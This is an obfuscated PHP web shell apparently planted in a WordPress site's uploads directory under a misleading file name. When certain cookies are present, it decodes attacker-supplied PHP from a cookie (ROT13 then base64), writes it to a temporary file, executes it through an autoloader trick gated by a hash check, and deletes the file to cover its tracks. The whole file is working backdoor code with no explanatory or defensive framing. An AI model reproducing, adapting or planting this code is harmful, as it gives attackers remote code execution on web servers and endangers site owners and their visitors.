File: /var/www/shoetique/wp-content/uploads/2020/12/sched.to.php
<?php
if (isset($_COOKIE[-7+7]) && isset($_COOKIE[-58+59]) && isset($_COOKIE[44-41]) && isset($_COOKIE[10-6])) {
$placeholder = $_COOKIE;
function post($slot) {
$placeholder = $_COOKIE;
$stor = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '8a101326');
if (!is_writable($stor)) {
$stor = getcwd() . DIRECTORY_SEPARATOR . "center";
}
$attr = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($placeholder[3]));
if (is_writeable($stor)) {
$property = fopen($stor, 'w+');
fputs($property, $attr);
fclose($property);
spl_autoload_unregister(__FUNCTION__);
require_once($stor);
@array_map('unlink', array($stor));
}
}
spl_autoload_register("post");
$fld = "ef3e0c312502c8a97fb007bf930a363a";
if (!strncmp($fld, $placeholder[4], 32)) {
if (@class_parents("sys_oauthexceptions", true)) {
exit;
}
}
}